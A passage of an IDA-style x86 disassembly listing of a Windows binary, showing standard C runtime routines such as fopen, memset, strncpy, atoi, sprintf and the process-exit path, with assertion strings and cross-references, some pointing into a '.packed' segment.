loc_41E2BD:				; CODE XREF: sub_41E1C0+E9j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx

loc_41E2C3:				; CODE XREF: sub_41E1C0+FBj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_4272F0
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41E308
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_41E38B
; ---------------------------------------------------------------------------

loc_41E308:				; CODE XREF: sub_41E1C0+127j
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E32A
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41E38B
; ---------------------------------------------------------------------------

loc_41E32A:				; CODE XREF: sub_41E1C0+14Cj
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		jmp	short loc_41E383
; ---------------------------------------------------------------------------

loc_41E33E:				; CODE XREF: sub_41E1C0+DFj
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_427100
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41E360
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41E38B
; ---------------------------------------------------------------------------

loc_41E360:				; CODE XREF: sub_41E1C0+191j
		mov	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_4]
		mov	[ecx], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax

loc_41E383:				; CODE XREF: sub_41E1C0+D4j
					; sub_41E1C0+17Cj
		jmp	loc_41E20B
; ---------------------------------------------------------------------------

loc_41E388:				; CODE XREF: sub_41E1C0+4Fj
		mov	eax, [ebp+arg_8]

loc_41E38B:				; CODE XREF: sub_41E1C0+24j
					; sub_41E1C0+143j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41E1C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E390	proc near		; CODE XREF: sub_41E490+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi

loc_41E399:				; CODE XREF: sub_41E390+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E3BD
		push	offset aFileNull ; "file != NULL"
		push	0
		push	35h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E3BD
		int	3		; Trap to Debugger

loc_41E3BD:				; CODE XREF: sub_41E390+Dj
					; sub_41E390+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E399

loc_41E3C3:				; CODE XREF: sub_41E390+5Fj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_41E3EB
		push	offset aFile_t0	; "*file != _T('\\0')"
		push	0
		push	36h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E3EB
		int	3		; Trap to Debugger

loc_41E3EB:				; CODE XREF: sub_41E390+3Bj
					; sub_41E390+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E3C3

loc_41E3F1:				; CODE XREF: sub_41E390+89j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41E415
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	37h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E415
		int	3		; Trap to Debugger

loc_41E415:				; CODE XREF: sub_41E390+65j
					; sub_41E390+82j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41E3F1

loc_41E41B:				; CODE XREF: sub_41E390+B7j
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_41E443
		push	offset aMode_t0	; "*mode != _T('\\0')"
		push	0
		push	38h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41E443
		int	3		; Trap to Debugger

loc_41E443:				; CODE XREF: sub_41E390+93j
					; sub_41E390+B0j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41E41B
		call	sub_427B60
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41E45B
		xor	eax, eax
		jmp	short loc_41E485
; ---------------------------------------------------------------------------

loc_41E45B:				; CODE XREF: sub_41E390+C5j
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4277D0
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp+var_8]

loc_41E485:				; CODE XREF: sub_41E390+C9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41E390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E490	proc near		; CODE XREF: sub_4010AA+18p
					; sub_401C87+596Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41E390
		add	esp, 0Ch
		pop	ebp
		retn
sub_41E490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E4B0	proc near		; CODE XREF: .packed:00401207p
					; .packed:00401215p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41E503
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41E4F7
		neg	ecx
		and	ecx, 3
		jz	short loc_41E4D9
		sub	edx, ecx

loc_41E4D3:				; CODE XREF: sub_41E4B0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41E4D3

loc_41E4D9:				; CODE XREF: sub_41E4B0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41E4F7
		rep stosd
		test	edx, edx
		jz	short loc_41E4FD

loc_41E4F7:				; CODE XREF: sub_41E4B0+18j
					; sub_41E4B0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41E4F7

loc_41E4FD:				; CODE XREF: sub_41E4B0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41E503:				; CODE XREF: sub_41E4B0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41E4B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E510	proc near		; CODE XREF: sub_401404+48Ap
					; sub_401404+4A6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41E593
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41E534
		shr	ecx, 2
		jnz	short loc_41E5A1
		jmp	short loc_41E555
; ---------------------------------------------------------------------------

loc_41E534:				; CODE XREF: sub_41E510+1Bj
					; sub_41E510+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41E562
		test	al, al
		jz	short loc_41E56A
		test	esi, 3
		jnz	short loc_41E534
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41E5A1

loc_41E550:				; CODE XREF: sub_41E510+8Fj
		and	ebx, 3
		jz	short loc_41E562

loc_41E555:				; CODE XREF: sub_41E510+22j
					; sub_41E510+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41E58E
		dec	ebx
		jnz	short loc_41E555

loc_41E562:				; CODE XREF: sub_41E510+2Bj
					; sub_41E510+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41E56A:				; CODE XREF: sub_41E510+2Fj
		test	edi, 3
		jz	short loc_41E584

loc_41E572:				; CODE XREF: sub_41E510+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41E606
		test	edi, 3
		jnz	short loc_41E572

loc_41E584:				; CODE XREF: sub_41E510+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41E5F7

loc_41E58B:				; CODE XREF: sub_41E510+7Fj
					; sub_41E510+F4j
		mov	[edi], al
		inc	edi

loc_41E58E:				; CODE XREF: sub_41E510+4Dj
		dec	ebx
		jnz	short loc_41E58B
		pop	ebx
		pop	esi

loc_41E593:				; CODE XREF: sub_41E510+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41E599:				; CODE XREF: sub_41E510+A9j
					; sub_41E510+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41E550

loc_41E5A1:				; CODE XREF: sub_41E510+20j
					; sub_41E510+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41E599
		test	dl, dl
		jz	short loc_41E5EB
		test	dh, dh
		jz	short loc_41E5E1
		test	edx, 0FF0000h
		jz	short loc_41E5D7
		test	edx, 0FF000000h
		jnz	short loc_41E599
		mov	[edi], edx
		jmp	short loc_41E5EF
; ---------------------------------------------------------------------------

loc_41E5D7:				; CODE XREF: sub_41E510+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41E5EF
; ---------------------------------------------------------------------------

loc_41E5E1:				; CODE XREF: sub_41E510+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41E5EF
; ---------------------------------------------------------------------------

loc_41E5EB:				; CODE XREF: sub_41E510+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41E5EF:				; CODE XREF: sub_41E510+C5j
					; sub_41E510+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41E601

loc_41E5F7:				; CODE XREF: sub_41E510+79j
		xor	eax, eax

loc_41E5F9:				; CODE XREF: sub_41E510+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41E5F9

loc_41E601:				; CODE XREF: sub_41E510+E5j
		and	ebx, 3
		jnz	short loc_41E58B

loc_41E606:				; CODE XREF: sub_41E510+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41E510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E610	proc near		; CODE XREF: sub_41E710+7p
					; sub_433090+271p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h

loc_41E616:				; CODE XREF: sub_41E610+4Ej
		cmp	dword_453EB0, 1
		jle	short loc_41E636
		push	8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_41E64F
; ---------------------------------------------------------------------------

loc_41E636:				; CODE XREF: sub_41E610+Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_10], edx

loc_41E64F:				; CODE XREF: sub_41E610+24j
		cmp	[ebp+var_10], 0
		jz	short loc_41E660
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_41E616
; ---------------------------------------------------------------------------

loc_41E660:				; CODE XREF: sub_41E610+43j
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_4], 2Dh
		jz	short loc_41E685
		cmp	[ebp+var_4], 2Bh
		jnz	short loc_41E698

loc_41E685:				; CODE XREF: sub_41E610+6Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx

loc_41E698:				; CODE XREF: sub_41E610+73j
		mov	[ebp+var_8], 0

loc_41E69F:				; CODE XREF: sub_41E610+E9j
		cmp	dword_453EB0, 1
		jle	short loc_41E6BB
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_14], eax
		jmp	short loc_41E6D0
; ---------------------------------------------------------------------------

loc_41E6BB:				; CODE XREF: sub_41E610+96j
		mov	eax, [ebp+var_4]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_14], edx

loc_41E6D0:				; CODE XREF: sub_41E610+A9j
		cmp	[ebp+var_14], 0
		jz	short loc_41E6FB
		mov	eax, [ebp+var_8]
		imul	eax, 0Ah
		mov	ecx, [ebp+var_4]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_41E69F
; ---------------------------------------------------------------------------

loc_41E6FB:				; CODE XREF: sub_41E610+C4j
		cmp	[ebp+var_C], 2Dh
		jnz	short loc_41E708
		mov	eax, [ebp+var_8]
		neg	eax
		jmp	short loc_41E70B
; ---------------------------------------------------------------------------

loc_41E708:				; CODE XREF: sub_41E610+EFj
		mov	eax, [ebp+var_8]

loc_41E70B:				; CODE XREF: sub_41E610+F6j
		mov	esp, ebp
		pop	ebp
		retn
sub_41E610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E710	proc near		; CODE XREF: sub_401404+2F4p
					; sub_401C87+700p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41E610
		add	esp, 4
		pop	ebp
		retn
sub_41E710	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi

loc_41E737:				; CODE XREF: .packed:0041E77Fj
		cmp	dword_453EB0, 1
		jle	short loc_41E757
		push	8
		mov	eax, [ebp+8]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp-14h], eax
		jmp	short loc_41E770
; ---------------------------------------------------------------------------

loc_41E757:				; CODE XREF: .packed:0041E73Ej
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp-14h], edx

loc_41E770:				; CODE XREF: .packed:0041E755j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_41E781
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		jmp	short loc_41E737
; ---------------------------------------------------------------------------

loc_41E781:				; CODE XREF: .packed:0041E774j
		mov	ecx, [ebp+8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-4], edx
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		mov	ecx, [ebp-4]
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-4], 2Dh
		jz	short loc_41E7A6
		cmp	dword ptr [ebp-4], 2Bh
		jnz	short loc_41E7B9

loc_41E7A6:				; CODE XREF: .packed:0041E79Ej
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx

loc_41E7B9:				; CODE XREF: .packed:0041E7A4j
		mov	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 0

loc_41E7C7:				; CODE XREF: .packed:0041E837j
		cmp	dword_453EB0, 1
		jle	short loc_41E7E3
		push	4
		mov	edx, [ebp-4]
		push	edx
		call	sub_427040
		add	esp, 8
		mov	[ebp-18h], eax
		jmp	short loc_41E7F8
; ---------------------------------------------------------------------------

loc_41E7E3:				; CODE XREF: .packed:0041E7CEj
		mov	eax, [ebp-4]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp-18h], edx

loc_41E7F8:				; CODE XREF: .packed:0041E7E1j
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_41E839
		push	0
		push	0Ah
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_421180
		mov	ecx, eax
		mov	esi, edx
		mov	eax, [ebp-4]
		sub	eax, 30h
		cdq
		add	ecx, eax
		adc	esi, edx
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], esi
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx
		jmp	short loc_41E7C7
; ---------------------------------------------------------------------------

loc_41E839:				; CODE XREF: .packed:0041E7FCj
		cmp	dword ptr [ebp-10h], 2Dh
		jnz	short loc_41E84E
		mov	eax, [ebp-0Ch]
		neg	eax
		mov	edx, [ebp-8]
		adc	edx, 0
		neg	edx
		jmp	short loc_41E854
; ---------------------------------------------------------------------------

loc_41E84E:				; CODE XREF: .packed:0041E83Dj
		mov	eax, [ebp-0Ch]
		mov	edx, [ebp-8]

loc_41E854:				; CODE XREF: .packed:0041E84Cj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E860	proc near		; CODE XREF: sub_422100+D2p
		push	ebp
		mov	ebp, esp
		cmp	off_4518DC, 0
		jz	short loc_41E872
		call	off_4518DC

loc_41E872:				; CODE XREF: sub_41E860+Aj
		push	offset dword_43F030
		push	offset dword_43F01C
		call	sub_41EA30
		add	esp, 8
		push	offset dword_43F018
		push	offset dword_43F000
		call	sub_41EA30
		add	esp, 8
		pop	ebp
		retn
sub_41E860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8A0	proc near		; CODE XREF: sub_422100+12Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41E920
		add	esp, 0Ch
		pop	ebp
		retn
sub_41E8A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8C0	proc near		; CODE XREF: .packed:00422254p
					; sub_422270+22p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41E920
		add	esp, 0Ch
		pop	ebp
		retn
sub_41E8C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		push	0
		call	sub_41E920
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	1
		push	0
		call	sub_41E920
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E920	proc near		; CODE XREF: sub_41E8A0+Bp
					; sub_41E8C0+Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41EA10
		cmp	dword_4F33F4, 1
		jnz	short loc_41E943
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F53CC	; GetCurrentProcess
		push	eax
		call	dword_4F53C4	; TerminateProcess

loc_41E943:				; CODE XREF: sub_41E920+10j
		mov	dword_4F33F0, 1
		mov	cl, byte ptr [ebp+arg_8]
		mov	byte_4F33EC, cl
		cmp	[ebp+arg_4], 0
		jnz	short loc_41E9A3
		cmp	dword_4F4AF4, 0
		jz	short loc_41E991
		mov	edx, dword_4F4AF0
		mov	[ebp+var_4], edx

loc_41E96E:				; CODE XREF: sub_41E920:loc_41E98Fj
		mov	eax, [ebp+var_4]
		sub	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4F4AF4
		jb	short loc_41E991
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_41E98F
		mov	eax, [ebp+var_4]
		call	dword ptr [eax]

loc_41E98F:				; CODE XREF: sub_41E920+68j
		jmp	short loc_41E96E
; ---------------------------------------------------------------------------

loc_41E991:				; CODE XREF: sub_41E920+43j
					; sub_41E920+60j
		push	offset dword_43F03C
		push	offset dword_43F034
		call	sub_41EA30
		add	esp, 8

loc_41E9A3:				; CODE XREF: sub_41E920+3Aj
		push	offset dword_43F048
		push	offset dword_43F040
		call	sub_41EA30
		add	esp, 8
		cmp	dword_4F33F8, 0
		jnz	short loc_41E9DE
		push	0FFFFFFFFh
		call	sub_41D580
		add	esp, 4
		and	eax, 20h
		test	eax, eax
		jz	short loc_41E9DE
		mov	dword_4F33F8, 1
		call	sub_41E030

loc_41E9DE:				; CODE XREF: sub_41E920+9Cj
					; sub_41E920+ADj
		cmp	[ebp+arg_8], 0
		jz	short loc_41E9EB
		call	sub_41EA20
		jmp	short loc_41E9FF
; ---------------------------------------------------------------------------

loc_41E9EB:				; CODE XREF: sub_41E920+C2j
		mov	dword_4F33F4, 1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F5338	; ExitProcess

loc_41E9FF:				; CODE XREF: sub_41E920+C9j
		mov	esp, ebp
		pop	ebp
		retn
sub_41E920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA10	proc near		; CODE XREF: sub_41E920+4p
					; sub_420C50+4p
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_423280
		add	esp, 4
		pop	ebp
		retn
sub_41EA10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA20	proc near		; CODE XREF: sub_41E920+C4p
					; sub_420C50+61p ...
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_423320
		add	esp, 4
		pop	ebp
		retn
sub_41EA20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA30	proc near		; CODE XREF: sub_41E860+1Cp
					; sub_41E860+2Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp

loc_41EA33:				; CODE XREF: sub_41EA30+21j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41EA53
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jz	short loc_41EA48
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx]

loc_41EA48:				; CODE XREF: sub_41EA30+11j
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		jmp	short loc_41EA33
; ---------------------------------------------------------------------------

loc_41EA53:				; CODE XREF: sub_41EA30+9j
		pop	ebp
		retn
sub_41EA30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA60	proc near		; CODE XREF: sub_401404+18Cp
					; sub_401404+283p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx

loc_41EA75:				; CODE XREF: sub_41EA60+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41EA99
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EA99
		int	3		; Trap to Debugger

loc_41EA99:				; CODE XREF: sub_41EA60+19j
					; sub_41EA60+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41EA75

loc_41EA9F:				; CODE XREF: sub_41EA60+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41EAC3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41EAC3
		int	3		; Trap to Debugger

loc_41EAC3:				; CODE XREF: sub_41EA60+43j
					; sub_41EA60+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41EA9F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+4], 7FFFFFFFh
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_427F60
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41EB3F
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_41EB50
; ---------------------------------------------------------------------------

loc_41EB3F:				; CODE XREF: sub_41EA60+BBj
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_427CE0
		add	esp, 8
		mov	[ebp+var_30], eax

loc_41EB50:				; CODE XREF: sub_41EA60+DDj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41EA60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB60	proc near		; CODE XREF: sub_401404+45p
					; sub_401C87+31ACp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_428EE0
		mov	ecx, [ebp+arg_0]
		mov	[eax+14h], ecx
		pop	ebp
		retn
sub_41EB60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB70	proc near		; CODE XREF: sub_401404:loc_401559p
					; sub_401404:loc_401875p ...

